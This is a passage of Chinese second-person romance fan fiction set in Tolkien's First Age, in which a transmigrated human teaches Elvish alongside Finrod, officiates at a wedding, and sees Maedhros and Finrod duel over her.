他站起身,三步并作两步地走到门口,拉近与玛格洛尔的距离,说:“时间不早了,你也该去休息了。” 玛格洛尔莫名觉得此时站在自己面前的精灵很陌生,他好像是头一次接触到迈兹洛斯的这一面。 迈兹洛斯根本就没有给玛格洛尔说话的机会,因为在丢下这句话以后他就转身离开,只留下玛格洛尔站在原地,他凝望着哥哥离开的背影,有预感有一场风暴即将席卷纳国斯隆德。 但在此之前他们还需要先解魔苟斯的那些爪牙,但愿等事情尘埃落地以后他的哥哥也能消气,至少没有那么大的火气。 这不过是玛格洛尔的希望,大概率是无法实现了。 * 你和芬罗德光是编写教材就花费了好几天的时间,这都算是工作效率高的了,毕竟编写教材又不是写流水账,你拿着第一本精灵语教材找到人类首领兰达,与她商讨日后的教学计划,按照你的想法到时候再找两个精灵来帮忙就行了,但听芬罗德的意思却是他要自己来教授。 不是,你也知道他平常的工作量不小,现在还要当老师,众所周知当老师是非常消耗精力的,你上辈子那些个当老师的朋友基本上每次聚会都累得不成人形,他们精灵确实没有猝死的风险,而且他也是真心实意地想要帮助人类。 “我希望借此机会促进精灵与人类的和谐共处。”芬罗德说。 行吧,他都把话说到这份上了,立意都上升到精灵与人类的层面了,你要是再拒绝似乎也不太好。 于是乎在那之后你和芬罗德就成了老师。 出乎意料的,在异世界当老师没有你想的那么焦头烂额,可能是因为这个世界还没有建立起对老师的层层叠叠的管理制度吧,你居然还觉得挺自由的。 芬罗德会在每节课快要结束的时候布置作业,等下次上课的时候收作业,别说,还真挺像模像样的,就和你以前上学的时候一样。 而那些收上来的作业也会留到晚上的时候你们一块批改,相较于态度比较随意的你,芬罗德就严谨多了,几乎每一份作业都会在后头写上各类分析,当然,是用通俗易懂的句子,不存在从句里套从句的复杂句式。 所以你说芬罗德是个好老师,而你顶多算个马马虎虎的老师。 等手头的作业批改得差不多了,你也伸了个懒腰,芬罗德将批改好的作业整理一遍,方便明天上课的时候直接带过去,然后说:“走吧,去休息吧。” 这些天他已经很自然地和你一同入眠,也不知道其他的精灵有没有看见,但就算是看见了也无所谓,你也不在乎别的精灵是怎么想的,倒是才来这里没多久的人类里的小孩子会对你和芬罗德的关系感到好奇,那个名家梅兰妮的孩子问过你们是恋人关系吗?你回答得模棱两可。 他牵着你的手回到房间,明天又会是新的一天,新的一堂课,唯一不变的是人们的八卦心。 你和芬罗德讨论以后敲定一节课世界不超过一个小时,而且一天也就一节课,要是你的中学时代能这么轻松你做梦都得笑醒,但在课程结束以后人们还会参加别的活动,对锻造感兴趣的人类会找到相应的精灵老师,有的人类更喜欢种植农作物,就跟着精灵在田垄里走来走去。 每个人都能找到自己喜欢同时也擅长的活动,这才是真正的课外活动而不是为了学分亦或是装装样子设置的活动选项。 今天在课程结束以后梅兰妮又来找你聊天,她说:“刚才芬罗德老师还在偷偷看着你笑呢!” “啊?还有这回事吗?”你故意装作什么都不知道的样子来配合她的对话,她连连点头,说:“是啊,他的眼里都是你呀。” 她的脸颊因为心情激动都开始泛红,生怕你不相信,她还手舞足蹈地给你还原刚才的画面,你说:“原来是这样啊,你很有表演天赋,你的话剧老师肯定也这么夸过你吧?” 梅兰妮对话剧感兴趣,恰好精灵大多是擅长文艺创作的,不光是诗歌,就连在话剧方面也颇有造诣,梅拉妮跟着的精灵老师就写过不少优秀的剧本,你能隐隐约约地从那些个剧本上面看到上辈子一些话剧的影子,不过嘛,优秀的作品总是有着共同之处的,甚至在精神内核方面也有着相似点。 “噢,是的,夸过好几次,她说我以后也会写出属于自己的剧本的!” 梅兰妮抱着你的胳膊,最后又钻进你的怀里,低声说:“到时候我还想再邀请你来参演,你肯定能将我写的剧本演绎得栩栩如生的!” 你的手轻轻抚摸着梅兰妮的脑袋,她忽然又抬起头,冲你笑了一下,露出缺了一颗门牙的上排牙,她不久前才换牙,“就这样吧,我要去话剧老师那里了,今天也有好多东西可以学的,等着我呀!等我写出自己的剧本!” “好,我会等待的。” 老实说,如果大部分小孩子都是这么通情达理的话,或许你上辈子也不会那么讨厌小孩。 在梅兰妮走后芬罗德从讲台上走下来,走到你身边,伸手整理你的碎发,说:“你很喜欢那孩子,对吗?” “她确实很讨人喜欢。”你实话实说。 芬罗德若有所思,“你喜欢孩子吗?” 等一下,打住,你喜欢某个小孩子不代表你喜欢小孩啊,而且他说这话的语气听上去就像是婚后开始商讨孩子的事情似的,你绑定的是恋爱系统只需要谈恋爱对吧? 谈恋爱可不包括孩子这个选项啊,于是你顿时警钟大作,说:“我不想有自己的孩子。” 顺带一提,人类和精灵应该是有生殖隔离的吧?毕竟种族不同,但这又不好说,毕竟这个世界玄乎得很。 伊露维塔就不能多给出一点设定吗?非得要说得那么模棱两可吗? 芬罗德说:“我不是这个意思……” 你松了一口气,太好了,你承认自己就是那种没什么责任心的人,但凡要个孩子也是对孩子的不负责。 “这样啊,抱歉,刚才是我误会你了。” 你从善如流地道歉,芬罗德的手指摩挲你的侧脸,说:“是我先说了你不爱听的话。” 再这样下去你们之间真是要没完没了的道歉了,你赶忙让他打住,而后说:“好了,我们就不要一直互相道歉了。” 芬罗德说:“今天的作业批改起来可能有些麻烦。” 你听出他的话外之音,就说:“我会帮忙的!” 闻言,他便握住你的手,指腹摩挲你的手背,说:“谢谢你。” 得亏他不是那种贤者时刻还会对你说谢谢的类型。 你们离开教室,站在长廊上的你们放眼望去就看见人类混迹在精灵的队伍里,三三两两的,有说有笑的,正如芬罗德期待的那样相处得和谐愉快。 这样平静温馨的生活持续了很长一段时间,直到第二个冬天到来,人类与精灵度过第一个年关,温暖的宴会厅里热闹非常,差不多学会精灵语言的人类端着酒杯和精灵谈论着明年的计划,调皮的人类孩子在大厅里打打闹闹的,就算是摔倒也没关系,肯定会有精灵亦或是人类帮着扶起来。 你对自己的酒量有着清楚的认知,所以参加宴会从来不喝酒,可以说是滴酒不沾,芬罗德身为精灵喝酒就跟喝水似的,他说:“今年的冬日宴会比我想到热闹多了。” “因为多了一群人类客人?” “是的,对了,过两天还有一对新人要结婚,到时候你也会去参加婚礼的对吗?” 是啊,你不光要参加婚礼,而且还在婚礼上扮演牧师的角色,没办法,他们就是那么信任你。 “你难道忘了他们已经邀请我去作为婚礼见证人了吗?”你说,他肯定记得的,就是故意想要提起这个话题而已,至于真实目的是什么,你感觉是和婚礼有关的。 “婚礼见证人,嗯……听上去就很神圣,对了,你是否有参加过精灵的婚礼呢?” 显然是没有的,你接触过的精灵要么已经成婚,要么对恋爱不感兴趣,要么就是绝赞恋爱中。 因此你好奇地说:“没有,怎么,你有认识的精灵要结婚了?” “没……我只是在想如果到时候筹备自己的婚礼又该做些什么好。” 呃,他这是在暗示吧?绝对是在暗示的啊,你态度微妙地移开视线,说:“我觉得你想这个有点太早了。” “未雨绸缪嘛。”他笑了下。 第42章 “我喜欢苏尔。” 老实说你上辈子没想过结婚的事情, 这辈子也是同样的,想都没想过。 拜托,你都已经重开到异世界了怎么还要因为这种事情烦恼啊? 哪怕芬罗德确实貌美,性格也很好,但你对于他的暗示(准确来说应该是明示)都装作没听懂,笑着打哈哈就一笔带过,对此芬罗德的反应也只是笑笑而已,他那么心思细腻的精灵又怎么可能没看出你的真实想法呢,他的性格也不像那些费诺里安那样缺乏耐心,倒不如说他富有耐心。 他很擅长等待,他想,自己总能够等到你态度转变的那一天,在此之前,他都会用一贯的温柔姿态来说服你。 你还不知道芬罗德心里的弯弯绕绕,更不可能想到他这一个浓眉大眼的精灵居然会有那么多的心机。 这个话题说过就过,之后没多久纳国斯隆德就迎来了有史以来的第一场人类婚礼,而你作为证婚人也难免有些小紧张,没办法,你之前都没干过这活,光是各类讲稿你都写了好几份,什么草稿,第一版修订稿,第二版,最终版等等,恍惚间你还以为自己在工作。 最后你选取了一份修订稿, 至于是哪一版的, 你没仔细看, 反正这份讲稿看起来最顺眼。 那么就是它了! 不光是演讲稿,既然是证婚人,那么在服装上也会有一定的要求,你总不可能穿得随随便便地就去参加婚礼吧? 芬罗德表示服装的事情就交给他吧,他心灵手巧,不光是打铁,就连服装做起来也得心应手,有他这话,你都没怎么担心服装的问题,不光是没怎么担心,应该说是直接把这事抛到脑后才对。 婚礼的前一晚你还在和安格罗德查看婚礼现场的布置,等你回到房间都已经是大晚上的时间点了,芬罗德也没睡,也是,他平常就和夜猫子似的,见你来了他就主动牵起你的手,带着你往另外一个房间走去,一边走一边说:“正好现在有空可以试试我给你做的衣服。” 听他说这话的语气,你有些不妙地问道:“你应该只定做了一两套吧?” 芬罗德说:“也不多。” 好了,这下子你可以确定他做了不止两套衣服,等你来到衣帽间,看见挂在移动衣架上的礼服时就陷入了沉默,你揉了揉自己的太阳xue,心说自己当初就应该提醒他适度的,你说:“这些都要试穿一遍吗?” 芬罗德仍旧没有松开你的手,他说:“不,你只需要挑选自己喜欢的试穿就行了。” 你的视线在这一排的礼服上扫了一圈,挑出一条衣服,裙摆是渐变的浅绿色,裙摆的最末端则是浓重的墨绿色,春天的气息仿佛伴随着裙摆的的摇曳扑面而来,而且在墨绿色的裙摆里还藏着细密的金色丝线,愈发显得这身衣服贵气。 “就这条吧。”你只是试穿了一条就作出决定,芬罗德说:“我也觉得这身衣服最适合你。” 他可真会说话。 你又站在全身镜前转了一圈,裙摆也在转圈圈,芬罗德的声音飘了过来,他说:“到时候我的妹妹也会来参加这次婚礼的。” 芬罗德只有一个妹妹,那就是加拉德瑞尔,据你所知那位精灵公主前阵子一直住在多瑞亚斯,这次特意来纳国斯隆德不仅仅是来参加婚礼的,应该说参加婚礼只是顺带的事,更主要的目的是为了见一见自己的哥哥芬罗德,顺便再看看你。 也不知道芬罗德在给加拉德瑞尔的信里都写了什么,总不可能光明正大地和加拉德瑞尔说你们在偷情吧? 不,就算真的提到这件事,芬罗德也只会觉得自己这是在追求真爱,没有任何错。 总的来说你很高兴能够再见到加拉德瑞尔,她无疑是个美丽的精灵,但除了她的美丽,她的性格也给你留下深刻印象。 老实说你觉得加拉德瑞尔和芬罗德在性格方面不太像,不过这也很正常。 你说:“那我可得要扮演好证婚人的角色啊。” “希望这样不会给你带来压力。” 压力?这点压力可不算什么,你从上辈子开始就是无敌抗压王了,这点压力都是洒洒水的啦。 你换下这身衣服就要去洗漱,等你都洗漱完了就看见芬罗德若有所思地坐在床边,你轻手轻脚地走到他身边,猝不及防地弯腰低头向他凑近,嬉皮笑脸地问道:“想什么呢,这么严肃?” 芬罗德还能在想什么呢,无非就是思考该怎么向自己的妹妹坦白,对方是何等的聪慧,那是维拉都称赞过的智慧,她怎么可能没从自己信件的字里行间猜出事情的来龙去脉呢? 她差不多都已经猜到了的吧,所以才会来纳国斯隆德一趟的。 芬罗德说:“没什么。”他不想让这份烦恼蔓延到你身上,就算真的有错,那也只是他的错而已,是他引诱了你,那他就该做好心里准备。 你的手搭在他的肩头,说:“你现在就要开始对我藏着掖着了吗?唉,我们之间也要有秘密了啊。” 听你说得那么失落,芬罗德就又说:“不,我不是这个意思。” “那你又是什么意思呢?” “我在担心我们的感情无法受到其他精灵的祝福。” 什么啊,原来他担心的是这个吗? 说起来你好像压根就没考虑过这个,可能是因为你本身就没有那么在乎别人的看法,祝福也好,诅咒也好,你都当做耳旁风。 “就算没有祝福也没关系吧?”你说。 芬罗德垂下眼帘,“真的……没有关系吗?” 明显是他显得更在意吧? 你说:“如果太在意别人的看法,反而会失去本心的吧。” 今天白天都在布置婚礼现场的你现在已经累得直打哈欠,你真的需要好好休息一下了,于是在和芬罗德说完这话以后你倒头就睡,把问题留给芬罗德,他还在反复咀嚼你说的话,每个字都要好好分析一番,最后他对着陷入沉睡的你说:“我明白了。” 已经睡着的你哪里知道他还说了这话,你在第二天醒来以后换上证婚人的礼服,芬罗德不在房间,你猜测他应该是先去宴会厅了,但等你走到宴会厅,先见到的不是芬罗德,而是他的妹妹加拉德瑞尔。 在你的目光触及到加拉德瑞尔的身影时,她也看了过来,非常有礼貌地对你点了点头,说:“早上好啊苏尔。” 你缓步走到她面前,也对她点点头,说:“你来了有一会了吗?抱歉,我都没有前来迎接你。” “没关系,芬罗德迎接了我,而且我也知道你昨天操劳了一整天,是该好好休息一下。” 加拉德瑞尔宽慰道,不过在你听来就说明你喜欢睡懒觉的习惯已经在精灵中传遍了。 “对了,你应该是来找芬罗德的吧?”加拉德瑞尔又说,她真是把你的目的都猜得一清二楚,接着就笑盈盈地给你指了个方向,说:“他在那里。” 直接这么离开多少有点没礼貌了,于是你说:“比起芬罗德,我倒是更想和你多聊一聊。” 加拉德瑞尔说:“这话可别让芬罗德听见,免得他吃醋,唉,我的哥哥也不是面上看起来的那么大度。” 这话就更不能让芬罗德听见了。 你和加拉德瑞尔对视一眼,都从对方的眼里看到了些许笑意。 婚礼在午后开始,你身为证婚人早早地就来到举办婚礼的草地上,当天的天气也很好,阳光灿烂,倒也不算太刺眼,站在阳光底下只觉得光线暖融融的。 因为和精灵相处得时间久了,人类的婚礼仪式里也能看出精灵的一些影响,因为已经提前背过稿子了,所以你都不需要拿着演讲稿,那些祝福的话语脱口而出,你祝福这对新人百年好合,任凭时间也无法改变他们的感情。 说到最后,你停顿了一下,发现婚礼的主角还在眼巴巴地看着你,你就无奈地笑着说:“我的演讲都已经结束了,你们不打算亲吻对方吗?” 闻言,其他人也都笑了起来,你后退一步,给这对伴侣留出一些空间,你证婚人的工作算是完成了,但这场婚礼才刚刚开始而已,接下来还有舞会和宴会,总之就是怎么热闹怎么来,无论是精灵还是人类都很喜欢凑热闹。 你坐在一旁的椅子上,途中还有不少精灵邀请你去跳舞,但你都谢绝了,你感觉自己得要暂时歇一歇。 “很累吗?”芬罗德在你身边坐下,又伸手整理你脸颊两侧的碎发,“辛苦你了。” “你不去跳舞吗?”你侧过头问道,芬罗德摇了摇头,“如果不是和你的话,那就没有意义。” 说得这么严肃的吗? 不远处人类和精灵友好相处,有的在说笑,有的在拼酒,有的还在跳舞。 “我以为你会和加拉德瑞尔多聊一会的。”你说。 实际上芬罗德已经和加拉德瑞尔聊过一会了,那是在婚礼开始前,在那个间隙里,加拉德瑞尔找到自己的哥哥芬罗德,说:“这里可比多瑞亚斯热闹多了。” 芬罗德说:“还好辛葛陛下不在这里,否则肯定会有意见的。” “但这里只有我们。”加拉德瑞尔在进入休息室的时候就顺带把房门给带上,她说,“你就没有别的什么话要对我说的吗?” “我知道这些事情是瞒不过你的。”芬罗德好像叹息一声,但他本来就没想着对加拉德瑞尔隐瞒什么,他们当初在维林诺的时候就会夜聊,聊些天马行空的事情,这个习惯也一直保留到了现在。 但现在天色还没有暗下去,还不算是夜聊。 加拉德瑞尔拍拍他的肩膀,说:“叹息什么?找到真爱不是一件好事吗?” 这句话就足以表明加拉德瑞尔对这件事的态度,她选择站在自己的兄长身边,不光是因为她和那些费诺里安的关系一般,就算是有别的前提条件,她也会做出同样的选择的。 芬罗德抬起头,他的眼眸闪烁,说:“你是真的这么认为的吗?” “我好像也没有对你说过谎吧?”加拉德瑞尔反问道。 的确,加拉德瑞尔没怎么对他说过谎,不管什么时候都是实事求是的,所以这次应该也不例外。 芬罗德这才像是松了一口气,说:“我很高兴你能对我说这些。” “只不过,哪怕这份感情未必有好结果你也不担心吗?”加拉德瑞尔支持自己的兄长是一回事,但她通过预知的能力隐约窥见芬罗德与你的未来又是另外一回事了,她觉得自己有必要和芬罗德说清楚,免得将来自己的兄长伤心。 如果太心痛,甚至会因为心碎而死。 她会祝福自己的哥哥,同时也希望自己的哥哥获得幸福,她指的是长久的幸福,不是如同流星般转瞬即逝的幸福。 所以她才会那么说的。 但是她的哥哥呢,只是沉吟片刻,没怎么犹豫就接受了这一事实,坦然地说:“我知道了。” 仅仅只是知道了吗?除此之外他还有别的什么想要说的吗? 加拉德瑞尔说:“她可能无法做到精灵那样对感情格外忠诚。”她对你倒是没有偏见,说的都是实话,她斟酌用词,用还算委婉的语气告诉自己的哥哥。 “但至少我和她现在是心意相通的不是吗?” 再这么说下去也不会有什么结果的,加拉德瑞尔果断放弃,然后点点头表示赞同,“嗯,是心意相通的。” 他们这对兄妹俩都心照不宣地没提该怎么应付日后发现真相的费诺里安。 费诺里安的怒火有如恶龙的火焰,她着实担心自己的兄长会被那火焰灼伤。 但难道她提到这一点她的兄长就会放弃吗?不,显然是不会的,他爱着你,既然已经将自己的真心送到你的手里,就没有再收回的道理。 加拉德瑞尔说:“我希望你能够幸福。” “这也是我对你的希望。”芬罗德握住妹妹的手,动作里流露出亲昵和安抚。 回忆到此为止,芬罗德的思绪又回到现在,回到你的身边,他仿佛也被婚礼的气氛感染,唇角都不自觉地微微上扬,他得承认,在参加这场婚礼的某一个瞬间他在想如果是他和你的婚礼的话,那场面又会是怎样的呢? 你喝了一口果汁,感觉自己休息得差不多了,就站起身,芬罗德也伴随着你起身的动作抬起头,朝你看去,而后就看见了你伸出的手,你做出一副邀请的姿势,说:“那么芬罗德殿下,你是否愿意和我跳一支舞呢?” 芬罗德将自己的手搭在你的手掌心,说:“只是一支舞吗?” “别太贪心啊。”你说。 但最后你们还是跳了好几支舞,跳得你都有点晕头转向了。 在婚礼结束以后还有晚上的宴会,那就是又一轮的狂欢了,你的精力有限,晚上的宴会你只是短暂的出场了一下,然后就找机会离开宴会厅。 不同于宴会厅的热闹,你所在的卧室因为离宴会厅很远,所以安静得很,你原本是靠在软榻上想着暂时眯一会的,但是眼睛一闭就直接睡了过去,等再睁开眼就看见了从宴会上回来的芬罗德,你眨巴眨巴眼睛,单手撑起自己的脑袋,问道:“我睡了很久吗?” 居然已经睡到芬罗德回来了? 刚刚醒来的你声音里还透露出几分没有褪去的睡意,芬罗德半跪在你身边,说自己也提前离开了宴会厅。 “怎么,你不喜欢这场宴会?”你问道。 芬罗德摇了摇头,说:“没有,我喜欢,但我更想来见你。” 相处的时间久了,芬罗德说情话倒是愈发顺溜。 你坐起来,刚才回来你都没怎么收拾,现在睡醒以后脸颊上还带着点睡痕,一条又一条的。 又是日常的洗漱,唯一和日常不太挂钩的大概就是那一封迈兹洛斯写的信了吧。 拆开信,眼角的余光扫到芬罗德似乎朝这里看了过来,一副想看但又碍于这是你的信所以有所回避的模样,不免让你觉得好笑,你一边将手里的信纸展开,一边对芬罗德说:“难不成你要一直这么偷看吗?” 芬罗德说:“……但这是迈兹洛斯写给你的信不是吗?我不应该……也不能偷看。” 好有道德感的一个精灵,你想,而后说:“我不在意,而且你那副样子实在是可怜兮兮,所以过来吧,一块看看他都写了点什么。” 有你这话,芬罗德就凑了过来,你们一同靠在床头看信,迈兹洛斯不是个喜欢兜圈子的精灵,这一点在他写的信的字里行间也能看得出来,那就是他会省略那些不必要的铺垫,直接开门见山地说明自己的意图。 就比如说这次,他写这封信的意思就是要去纳国斯隆德那里看看你,顺便还要感谢芬罗德对你的照顾,看到这里的时候你忍不住笑了一下。 芬罗德确实对你照顾有加。 但你指的是照顾到床上去的那一种照顾有加。 迈兹洛斯信件的内容也不多,你都不用一目十行,反正没花多少时间就看完了这封信,在你看完的同时芬罗德也看得差不多了,他言简意赅地说:“他要来这里看你。” 其实不光是看你,肯定还带着别的目的而来,也许是上次到访后又离开的玛格洛尔对迈兹洛斯说了些什么,也有可能是别的精灵把消息给传出去的,总之,现在的情况就是迈兹洛斯有所察觉,要来纳国斯隆德了。 相较于心事重重的芬罗德,你就显得轻松多了,你还觉得自己确实有一段时间没有见过迈兹洛斯了,你都有些想念他的红发了。 将信纸折叠放回信封里,你神色自若,就要关掉床头灯,就在这时芬罗德忽然说:“你会期待和他见面吗?” 不是吧,在这时候吃醋吗?你挑起一边的眉,说:“你问我这个问题又想要从我这里得到怎样的回答呢?如果我说一点都不期待的话你会一点都不怀疑吗?倘若我说期待,你的内心又会因此而感到酸涩不已吗?” 芬罗德也不清楚,他握住你的手腕,欲言又止,沉默了好几秒才说:“我……不知道,你肯定还是喜欢他的对吧?”毕竟是迈兹洛斯先遇见了你,那么他在你心里的分量更重他也可以理解。 只不过理解是一回事,真的接受就是另外一回事了。 你反握住芬罗德的手,轻轻地拍着他的手背,说:“是啊,喜欢,但不妨碍我现在也喜欢你呀。” 这种话被你用理直气壮的语气说出来。 因为你说得太理所当然了,以至于芬罗德都愣了一下,眼睫微微地颤抖着,说:“这两份喜欢也是同等的吗?” 你点点头。 芬罗德像是被你说服了,那藏在漂亮皮囊下的不安也逐渐平复下来,他说:“其实就算你对我说实话也没关系的。” 就算你没有那么喜欢他,他也能够从容应对,那就是再努力一些,争取你更多的喜欢。 这就是芬罗德的真实想法。 当晚你睡得香甜,芬罗德没什么睡意,在你熟睡的时候他都在思考别的事情。 时间一晃眼就来到迈兹洛斯造访的那一天,他和自己的弟弟玛格洛尔一样,也是在某个朝露浓重的清晨出现在纳国斯隆德边境,说明自己的来意后被其他精灵带着来到芬罗德面前。 迈兹洛斯耐着性子和芬罗德问好,在说话的时候他的视线还在周围搜寻你的踪迹,说完那些毫无意义的寒暄,迈兹洛斯就说:“我是来找苏尔的,她在哪里?” 不得不说,芬罗德觉得迈兹洛斯的耐心见长,他原本还以为对方一上来就会问你的下落,没想到他居然还能和自己聊些有的没的,就像是在铺垫什么。 芬罗德说:“在你见到她之前,我还有一件事情需要向你坦白。” 迈兹洛斯蹙眉,坦白?他从芬罗德身上捕捉到了心虚的蛛丝马迹,就问:“你要对我坦白什么?” 芬罗德对迈兹洛斯做了个请的手势,带着他去往僻静的休息室,在他进入休息室以后才对迈兹洛斯说:“我喜欢苏尔。” 还真是单刀直入。 迈兹洛斯顿了顿,又从震惊中恢复过来,然后冷笑一声,“是么,这点我倒也不意外。” 第43章 果然无论是哪个世界眯眯眼都恐怖如斯。 迈兹洛斯的反应比芬罗德想象的还要冷静,甚至带着一丝“果然如此”的意味,但芬罗德还是透过他那平静的外表看见了暗流涌动的愤怒火焰,芬罗德隐约在他身上看见了他父亲费艾诺的影子。 “我希望你不要因此责怪她。”芬罗德接着说。 “我本来就不会责怪,还有你说的这话又是什么意思?就像是你笃定我会生她的气似的。”说着,迈兹洛斯双手环胸,他合理怀疑眼前这个精灵是在挑拨离间,扰乱他和你之间的关系。 芬罗德垂下眼帘, 说:“我不是这个意思。” “那你还能是什么意思呢?总是装出一副置身事外的样子,这一点倒是和你的父亲很像。”尽管自己现在还在对方的地盘上,但迈兹洛斯还是被芬罗德这幅理所当然的姿态激怒了。 “我认为你现在需要冷静一下。” 迈兹洛斯唇角的冷笑也渐渐地淡去,最后变得面无表情, 他说:“实际上我很冷静,倒是你, 你应该知道自己的感情是不会受到祝福的。” 就在芬罗德要说些什么的时候落地窗外路过几个人类,他们看见芬罗德以后就笑着对这位温和友善的精灵君主俯身行礼。 “你收留了那些人类?”迈兹洛斯又问道。 “不能说是收留, 是他们自愿留在这里的,如果他们想要离开我也会点头答应。” “还真是宽容大度。” 芬罗德怎么可能没听出迈兹洛斯的阴阳怪气,他说:“这群人类是我和苏尔一块发现的。” 是么,这样听来就像是在炫耀自己和你的亲近,迈兹洛斯对人类的态度没有迈兹洛斯那么友好,哪怕他的伴侣是个人类,不代表他会对所有人类都抱有善意,这也是他和芬罗德的不同之处。 “特意提到这一点你又想要说明什么呢?”迈兹洛斯似笑非笑。 “没什么,我只是在陈述事实而已。”他收回之前对迈兹洛斯的评价,他的耐心还是一如既往的稀缺,芬罗德在思考是否要向他透露自己和你的关系进展,在某个瞬间他不由地有些期待对方被刺痛的表情,但也只是一瞬间而已。 他不可能为了这点私心给你造成不好的影响,所以他到最后也只是说:“我和苏尔都认为人类也是我们的同伴,倘若想要彻底解决魔苟斯盘踞在北方的势力,那么就要团结一切可以团结的力量,这对你还有你的兄弟来说都没什么不好的,一旦魔苟斯被打败,你们也能取回精灵宝钻。” 无论怎么看这都是一件好事。 芬罗德耐心地和迈兹洛斯分析其中的利弊,迈兹洛斯听进去了,但他还是很在意芬罗德先前说的话,他说:“你说的这些我会好好考虑的,但是,还请你不要转移话题。” 转移话题? 芬罗德不觉得自己是在转移话题,他接着又听见迈兹洛斯问道:“所以是你引诱了她不是吗?” “从某种程度上来说,确实可以这么说。”芬罗德不否认这一点。 迈兹洛斯紧抿着嘴唇,空气中是一片死寂,过了一会他才开口,“我很欣赏你的坦率。” 但这事情还没完。 不,应该说是刚刚开始才对。 * 当神色匆匆的安格罗德找上门的时候你才起床,身上还套着睡衣,安格罗德也顾不得太多,敲了几下门以后才进来,一见到你就说:“你怎么还在这里?” 闻言,你不由地缓缓打出一个问号,什么叫做你怎么还在这里,你不就是和往常一样起床然后洗漱再去吃早餐吗?怎么在安格罗德看来你好像不应该呆在这里? “那我应该在哪里?”你问道。 安格罗德说:“迈兹洛斯来纳国斯隆德了。” 哦,这事情他早就在写给你的信里提到过了,因此你早有心里准备,安格罗德看你还那么云淡风轻就知道你还没有意识到这件事情的严重性,于是他又补充道:“他和芬罗德打起来了。” 好吧,这话确实让你有些惊讶,你微微睁大眼睛,说:“真的假的?” 安格罗德无奈地说:“都到这时候了我还骗你做什么啊?”骗你又没什么好处,而且他是真的担心自己的兄长被盛怒之下的费诺里安重伤啊。 但在这场对决开始前芬罗德特意叮嘱过他不能干涉,但安格罗德又怎么可能眼睁睁地看着自己的哥哥陷入危险,所以他才会想到来找你的,而你呢,与着急的他形成鲜明对比,你只是一开始有些惊讶而已,在那之后就恢复平静,仿佛置身事外。 安格罗德甚至还看见你往盥洗室走去,他忍不住问道:“你就不担心吗?” 你耸耸肩,“要是我现在去的话无异于火上浇油。”而且他们估计还会要求你做出选择,你才不想这么为难自己呢。 他们扯头花可别影响到你啊,虽然你觉得修罗场很有趣但不代表你也想要被卷入修罗场啊。 安格罗德虽然着急,但仔细思考一下,发现你说的好像也有道理,的确,就凭你和芬罗德还有迈兹洛斯的关系,你要是真的出现在那里,没准其中一方会伤得更重,刚才的安格罗德也是被担忧冲昏了头脑,只想着拉你去阻止他们,却没有想到这一点。 你走到浴室简单的洗漱过后再出来,发现安格罗德还站在外头,眉头紧锁,一副忧心忡忡的样子,于是你安慰道:“别担心不会出事的。” 你为什么能够那么笃定呢?万一真的出了什么事呢?安格罗德看你披上一条披肩,这些天的早上气温还有些低,披个披肩刚刚好。 即便安格罗德没有告诉你芬罗德和迈兹洛斯打起来的来龙去脉,你大概也能猜出来,无非就是芬罗德和迈兹洛斯坦白了,而迈兹洛斯又是个暴脾气的,这不打起来都说不过去了。 “你会站在芬罗德那一边吗?”安格罗德在去餐厅的路上那么问你。 “是我要求他们打起来的吗?似乎不是吧,那么又为什么要让我站队呢?”你只觉得这群平均年龄在四位数的精灵有的时候就和小学生一样幼稚。 他们的修罗场可和你没关系,你撇撇嘴,如同局外人那样评价道:“这是他们自己的问题,与我无关。” 安格罗德仿佛触及到你冷漠的内里,哪怕你平常表现得再怎么热情友好,但你的内心却仍旧像是一块冰。 他开始同情自己的哥哥了,对你付出真心也无法融化你内心的坚冰。 不光是他的哥哥,就连迈兹洛斯在你心里的分量也不见得有多重。 安格罗德沉默了一会,你的声音在他的耳边响起,你说:“我之所以那么说也不是因为我不关心他们,而是这件事情本就该他们自己来解决,我插手只会造成更加复杂的局面。” 所以这种时候还不如去吃早餐呢,你来到餐厅享用早餐,坐在你对面的安格罗德问道:“那你想好怎么和迈兹洛斯解释了吗?” 解释?为什么要解释呢?合格的恋人会自己开解自己的,都不需要你多说些什么,你端起茶杯,从杯子里腾升的雾气朦胧你的眉眼,你说:“他们不需要我的解释。” 安格罗德越听越迷糊,什么叫做他们不需要你的解释? 放下茶杯,你对安格罗德笑了一下,那笑容变幻莫测。 等你用完早餐,你估摸着另外一边的修罗场大概也已经结束了,这才起身离开餐厅,你的时间掐算得刚刚好,等你到达现场的时候那两位精灵样子都能用狼狈来形容。 芬罗德的金色长发被刀剑割断了一簇又一簇,发丝上还沾着几片树叶,脸颊上还有好几道的印子以及一些细密的伤口,他那双湛蓝的眼瞳在看见你的时候还试图挤出一个笑容来安抚你。 另外一边的迈兹洛斯也好不到哪里去,他的小臂被刺伤,鲜血正顺着手指滴滴答答地滑落,安格罗德走上前扶住自己的哥哥,见状,你就走到迈兹洛斯身边扶住他,让他的重心依靠在你身上。 精灵没什么分量,都是轻飘飘的,你扶着迈兹洛斯往宫殿走去,迈兹洛斯沉默了好一会,走到一半,他的红发耷拉在你的肩头,他说:“我不该以那么狼狈的样子来见你的。” 你满不在乎地说:“你再狼狈的样子我都已经见过了。”你指的是他当初被魔苟斯俘虏挂在悬崖上的样子,“现在的你可一点都不狼狈。” 迈兹洛斯好像笑了一下,不太明显,他说:“也是,你已经见过我最狼狈的样子了。” 你们都没有提起为什么会发生这场决斗,更没提别的,迈兹洛斯只是单纯地很享受待在你身边的感觉。 就快要走到宫殿入口了,他忽然说:“我应该早点过来的。” 要是他早点来的话你就不会被其他精灵引诱,无论怎么看都是他的过错,是他考虑不周。 你没他想的那么多,甚至在你看来要是他来得更早一些还会影响你推进芬罗德的好感度呢,所以他这个时间点过来只能说是刚刚好吧。 见你没有回答,迈兹洛斯又忍不住说道:“或者说其实你也不希望见到我呢?” 一段时间没见他怎么变得那么多疑了?哦不对,他好像本来就挺多疑的,之前在希斯路姆的时候他不就很担心你被其他精灵引诱吗? 你说:“如果你已经带着预期的答案来问我,那么无论我怎么说都无法让你满意的吧?” “……抱歉。”迈兹洛斯向你道歉。 “但我想要的不是你的道歉。”你扶着他去休息室,又麻烦路过的精灵送来绷带还有止血药,这个休息室里只有你和迈兹洛斯两个。 那个好心的精灵送来的绷带还有药粉就放在旁边的小矮桌上,你坐在一旁的小凳子上默不作声地给迈兹洛斯包扎伤口,先止血,然后再包扎,你的动作有条不紊,迈兹洛斯看着你低垂的眉眼,看着你全心全意地注视着自己,他的心情也不由自主地好起来。 你一抬眼就看见他微微上扬的唇角,你戳了戳他的脸颊,问道:“你笑什么?受伤了还那么高兴吗?” “高兴啊。” 